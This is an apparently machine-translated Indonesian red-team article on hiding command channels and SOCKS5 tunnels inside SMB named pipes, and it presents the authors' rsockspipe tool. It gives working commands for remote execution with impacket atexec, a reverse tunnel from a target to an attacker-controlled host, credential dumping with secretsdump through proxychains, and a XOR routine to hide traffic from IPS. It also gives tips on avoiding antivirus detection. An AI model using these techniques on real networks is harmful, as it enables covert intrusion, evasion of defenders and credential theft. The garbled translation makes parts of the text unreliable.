Bukan rahasia lagi bahwa IPS perusahaan menjadi lebih pintar dan pintar. Sekarang Anda tidak akan mengejutkan siapa pun dengan IPS dengan mitigasi SSL pada batas jaringan atau bahkan di dalam jaringan perusahaan antar segmen. Pada saat yang sama, di samping IPS terkenal, berbagai solusi EDR mulai muncul dan menyebar, yang sudah secara langsung mengawasi host untuk koneksi yang sudah ada. Dalam hal ini, spesialis RedTeam yang layak semakin sulit untuk bersembunyi dari penampilan BlueTeam di mana-mana setiap hari. Kita harus menjadi lebih inventif dalam kerja keras saya.
Salah satu solusi untuk menyamarkan "tindakan destruktif kami yang lebih berguna" (c) di dalam jaringan perusahaan mungkin dengan menggunakan protokol SMB atau RDP. Anda dapat bersembunyi di dalamnya dan menyamar sebagai lalu lintas yang sah. Ini tidak terlalu baru dan teknik masking di dalam SMB telah digunakan sejak zaman perusahaan APT terkenal Duqu dan Sauron. Di sana, mereka juga menggunakan protokol SMB untuk mentransfer perintah kontrol ke agen mereka dengan sangat sukses. Setelah ini, teknik ini diadopsi oleh pengembang Metasploit dan Cobalt Strike.
Pada artikel ini, kami akan mempertimbangkan opsi untuk menggunakan protokol SMB untuk berputar, tetapi kami akan meninggalkan RDP untuk nanti.
Kami menggunakan SMB
Jadi, mari kita lihat apa yang hebat tentang menggunakan SMB untuk pivoting.
Pertama, tersebar luas. SMB hampir merupakan protokol microsoft asli, dan dalam jaringan korporat dengan windows digunakan di mana-mana dan banyak tempat. Di sini Anda dan DFS, dan berbagai pembaruan, dan printer dan banyak, banyak semuanya. Sangat nyaman
Benar, di luar jaringan perusahaan, dan terlebih lagi dari luar, di dalam port TCP ke-445, mereka sekarang sering mulai menutup pada firewall. Alasannya adalah seringnya phishing dan relay menggunakan tautan seperti file: // xxxx, \\ xxxx \, dll. Dan tentu saja, jangan lupa tentang WannaCry, yang memaksa banyak organisasi untuk menutup pelabuhan.
Kedua, dalam sistem modern, seperti Win10 / Win2016 dan lebih tinggi, informasi yang dikirimkan dalam protokol SMB, lebih tepatnya, SMB3 sudah dienkripsi secara default. Yaitu mentransfer perpecahan favorit Anda di dalam SMB, Anda dapat dengan aman memastikan bahwa IPS perusahaan tidak akan menyadarinya (terima kasih Micosoft untuk ini!).
Ketiga, protokol SMB menyediakan mekanisme yang nyaman untuk apa yang disebut pipa (pipa SMB) - ini sebenarnya pipa yang bernama sama, hanya tersedia di jaringan. Misalnya, baris seperti \\ 192.168.1.10 \ pipe \ atsvc adalah pipa layanan tugas terjadwal. Atexec dari framework impacket hanya bekerja dengannya untuk membuat tugas untuk mengeksekusi perintah di windows.
Anda dapat melihat semua pipa terbuka di sistem Anda menggunakan utilitas dari Sysinternals: pipelist.exe (pipelist64.exe) atau melalui PowerShell yang sama:
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
Pencelupan
Jadi, mari kita lihat bagaimana kita dapat menggunakan pipa SMB untuk "tindakan merusak yang lebih berguna".
Kami ingin menggunakan pipa untuk komunikasi rahasia dengan cangkang tim kami.
Intinya adalah bahwa kami menjalankan agen atau shell kami pada mesin target, dan kami berkomunikasi dengannya melalui protokol SMB.
Misalnya, dalam metasplit ada paylode khusus untuk bekerja dengan pipa:
meterpreter_bind_named_pipe
bind_named_pipe
Dengan bantuan mereka, Anda dapat dengan mudah "menggantung" pendengar Anda (apakah itu meter meter atau shell perintah biasa) pada pipa bernama, dengan demikian menyembunyikannya dari pengawasan ketat admin keamanan. Tapi, tentu saja, kita semua tahu bahwa sama sekali tidak aman untuk menggunakan msf peylods selama pertempuran terpendam / redtime dan peretas pekerja nyata menggunakan alat khusus, seperti yang mereka katakan - jauh dari dosa ...
Alternatif untuk msf sebagai shell perintah mungkin asisten lama yang baik. Ada banyak contoh di jaringan tentang menggunakan pipa sebagai saluran untuk komunikasi dengan C2.
Salah satunya adalah utilitas Invoke-PipeShell dari tim Threatexpress. Ia bekerja dalam mode server-client dan mengenkripsi semua lalu lintasnya dengan kunci AES 256-bit.
Di server kami jalankan:
Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30
Di klien, jalankan:
Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000
Secara alami, klien kami harus diotorisasi di server, jadi jangan lupa untuk mengotorisasi terlebih dahulu:
net use \\targetserver.domain.com\IPC$ /user:admin Password1
Setelah koneksi berhasil, kami mendapatkan konsol Powershell penuh. Semua detail tentang bekerja dengan alat ini, serta kode itu sendiri, dapat diperoleh.
Bagus Ini sepertinya bisa dimengerti. Sekarang mari kita berpikir tentang bagaimana kita bisa berputar di dalam jaringan target melalui pipa SMB. Misalnya, jika hanya port ke-445 yang terbuka pada perimeter jaringan (dan itu terjadi ...) atau koneksi ke luar terowongan kami melalui SSL diblokir tanpa ampun oleh firewall perusahaan, tetapi untuk beberapa alasan mereka lupa untuk menutup protokol SMB. Dalam hal ini, kita perlu meneruskan sebuah terowongan TCP penuh di dalam pipa sehingga kita dapat bekerja dengan sumber daya internal dari jaringan target. Hal pertama yang terlintas dalam pikiran adalah meter meter yang sama dengan pementasan melalui pipa. Dia tahu bagaimana melakukannya dengan sempurna. Kami tidak akan mempertimbangkan detailnya di sini, karena semuanya standar di sini dan sesuai dengan manual. Mereka yang tertarik dapat membaca instruksi untuk metasploit, atau melihat versi singkatnya di
sini .
Kami sudah menyebutkan kerugian meterpreter di atas. Karena itu, mari kita lihat apa lagi yang kita miliki untuk berputar melalui pipa ...
Setelah pencarian cepat tentang topik tunneling melalui pipa, selain meter meter, hanya
Cobalt Strike dan pengembangan dari
DxFlatLine yang ditemukan .
Opsi pertama, pertama, dibayar, dan kedua - ia memiliki semua kelemahan yang sama dengan meterpreter.
Opsi kedua dibuat sebagai PoC, ia hanya bekerja dalam mode single-threaded dan memungkinkan Anda untuk hanya tunnel satu koneksi - yaitu, seperti yang Anda bisa tebak, itu juga bukan pilihan untuk penggunaan konstan dalam praktek.
Dan apa yang harus dilakukan?
Setelah berpikir sedikit tentang masalahnya, kami memutuskan ... Mengapa kita tidak menyesuaikan pengembangan Rsockstun sebelumnya, yang sudah kami
tulis , untuk bekerja dengan pipa? Selain itu, arsitektur aplikasi memungkinkan Anda melakukan ini dengan mudah. Alih-alih terhubung melalui TCP, kami akan menggunakan koneksi melalui SMB. Bahkan menyederhanakan pekerjaan utilitas: tidak perlu khawatir tentang SSL, koneksi melalui server proxy, dll. Kami hanya akan meninggalkan opsi dengan otorisasi klien awal di server dengan kata sandi, karena pipa adalah entitas publik, dan, dengan demikian, tidak hanya terowongan kami, tetapi juga perangkat lunak lain, termasuk jarak jauh, dapat membaca dan menulis kepada mereka.
Hak akses ke pipa, serta pemindaian dan penghitungan pipa pada mesin jarak jauh, adalah topik terpisah untuk diskusi. Mereka yang ingin dapat mempelajarinya menggunakan contoh metasploit dari modul scanner / smb / pipe_auditor dan scanner / smb / pipe_rpc_auditor.
Untuk bekerja dengan pipa dari Go, kami akan menggunakan perpustakaan
npipeIni telah dibuat untuk waktu yang lama dan telah membuktikan dirinya dalam berbagai proyek. Bekerja melalui pustaka ini secara fundamental tidak berbeda dari bekerja melalui mekanisme Net standar: fungsi yang sama adalah net. Dial, net. List, net. Terima.
Untuk multiplex beberapa koneksi dalam satu pipa, seperti yang terakhir kali, kita akan menggunakan Yamux multiplexer dan socks5 - server proxy. Anda dapat membaca lebih lanjut tentang perlunya multiplexing di dalam TCP dan yamux sendiri di
artikel terakhir kami tentang rsockstun.
Perbedaan lain dan penyempurnaan versi dengan pipa, dibandingkan dengan rsockstun, adalah bahwa sekarang yamux-server dan, karenanya, socks5-proxy dapat diluncurkan di kedua ujung terowongan (meskipun tidak secara bersamaan, tetapi ada di sana atau di sana). Hal ini dilakukan agar terowongan dapat dibangun secara eksternal ke dalam jaringan target, dan sebaliknya ...
Dan sekarang, seperti biasa - nuansa
Gambar 1 - Buang lalu lintas operasi terowongan pada Windows 7

Gambar 1 menunjukkan bagaimana pekerjaan terowongan kita akan terlihat jika setidaknya salah satu ujungnya berjalan pada Windows 7. Di sini, zona merah adalah tahap otorisasi, hijau adalah pembukaan pipa, dan biru adalah transmisi langsung informasi. Penting juga untuk memperhatikan fakta bahwa protokol SMBv2 digunakan. Faktanya, ini berarti bahwa semua yang kami kirimkan di dalam terowongan akan terlihat dalam teks biasa:

Tidak seperti Win7, Windows10 menggunakan enkripsi data di dalam protokol SMB3:

Seperti yang kita lihat, baik nama pipa maupun data di dalam terowongan tidak ditransmisikan dalam teks yang jelas.
Anda dapat memeriksa apakah enkripsi bekerja pada sistem SMB3 Anda menggunakan cmdlet powershell cmdlet Get-SmbServerConfiguration

Dan dengan enkripsi yang dimatikan, mudah untuk mengaktifkannya:

Namun, kami tidak selalu dapat memastikan bahwa enkripsi di dalam SMB akan diaktifkan secara default, dan menyalakannya di server atau jaringan asing bukanlah ide yang baik ...
Dalam hal ini, kami perlu menyediakan mode di terowongan kami yang memungkinkan enkripsi lalu lintas di dalam terowongan kami. Selain itu, kami tidak memiliki tugas mengenkripsi dengan andal sehingga mereka hanya bisa mendekripsi pada superkomputer NSA, tetapi hanya menyembunyikan tanda tangan lalu lintas di dalam terowongan dari IPS. Dalam hal ini, kami akan menggunakan XOR sederhana dengan kunci kecil untuk menutupi lalu lintas kami, yang akan memungkinkan kami untuk menghemat sumber daya prosesor dan secara praktis tidak akan mempengaruhi kecepatan transmisi.
Agar tidak membuat lapisan jaringan tambahan yang bertanggung jawab untuk mengenkripsi lalu lintas, kami akan menambahkan fungsionalitas langsung ke modul yamux yang bertanggung jawab untuk mentransfer payload (modul stream.go, dan fungsi Baca dan Tulis):
func xoring(istr *[]byte, key string){ for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]} }
Setelah melakukan perubahan, permintaan GET kami tidak begitu jelas terlihat di lalu lintas:

Satu, dua, tiga ... Mulai!
Total, opsi peluncuran dan, dengan demikian, aplikasi terowongan kami adalah sebagai berikut:
Opsi 1. Hubungkan dari luar ke jaringan dan meneruskan koneksi Socks5. Misalnya, ketika port ke-445 mencuat dan kita tahu pinjaman untuk menghubungkan:
Pada server internal, melalui koneksi SMB dan utilitas impacket, mulai bagian server rsockpipe:
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -listen .\rsockspipename -pass Password1234"
Pada mesin Windows eksternal (dikontrol oleh kami), jalankan bagian klien dari rsockspipe dan setelah membuat koneksi, gunakan sebagai proxy socks5:
rsockspipe.exe -connect xxxx\rsockspipename -socks yyyy:1080 -pass Pass-word1234 proxychains secretsdump.py admin:Passw0rd@yy1.10
Opsi 2. Koneksi dari dalam ke luar oleh protokol SMB. Ketika koneksi luar dipantau secara ketat oleh semua protokol web, dan untuk beberapa alasan administrator lupa tentang SMB ...
Pada mesin Windows eksternal (dikontrol oleh kami) (ip: YYYY), jalankan bagian klien dari rsockspipe dan tunggu klien terhubung:
rsockspipe.exe -listen .\rsockspipename -socks yyyy:1080 -pass Password1234
Di server di dalam jaringan target, jalankan bagian klien (juga melalui impacket):
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -connect YYYY\rsockspipename -pass Password1234"
Setelah koneksi berhasil, kita dapat menggunakan server kami sebagai soscks5:
proxychains secretsdump.py admin:Passw0rd@yy1.10
Ada satu titik di sini, terutama ke opsi kedua. Ingat, kami mengatakan bahwa untuk koneksi yang berhasil ke pipa, kami harus disahkan di sisi server, yaitu Sebelum memulai terowongan, kita harus melalui otorisasi. Anda dapat melakukannya dengan cara ini:
net use \\yyyy\ipc$ /user:<usrname> <Password1>
Jadi ... Dalam use case kedua, perintah net use dijalankan di mesin target. Dan ini berarti bahwa pada mesin target (dalam memori proses lsass) masih ada kredit dari mesin Windows Anda. Dan jika mereka adalah admin (sebagai aturan, semua peretas pemula bekerja dari admin ...), maka ini dapat menyebabkan "salam kembali" dari BlueTeam ... Secara umum, Anda berpikir ketika Anda melakukan sesuatu ...
Alih-alih sebuah kesimpulan
Secara umum, terowongan itu ternyata cukup bagus ... Yang utama adalah siap untuk digunakan secara aktif.
Kode sumber, serta binari yang telah dikompilasi untuk x86 dan x64, terletak di
git kami
Dan tambahan kecil. Baru-baru ini, mereka mulai memperhatikan bahwa perangkat lunak Golang dikompilasi dalam mode Win GUI (kompilasi dalam mode: go build -ldflags = "- H windowsgui") telah menjadi sangat dipecat oleh beberapa solusi anti-virus (KAV, SEP14). Itu sudah datang ke konyol - "Hello World" dikompilasi dalam mode GUI terdeteksi sebagai malware. Rupanya, ini karena fakta bahwa Golang tetap menjadi alat favorit malware. Jadi saran kami adalah mengkompilasi proyek dalam mode konsol standar, dan dengan cmf-window hitam, seorang hacker sejati tahu cara menanganinya (misalnya, impacket yang sama, misalnya).
PS โTindakan merusak yang lebih bergunaโ adalah kata-kata dari D. Samartsev, Direktur BiZone. Dalam hal ini, ia paling akurat menggambarkan esensi dari pekerjaan spesialis RedTeam.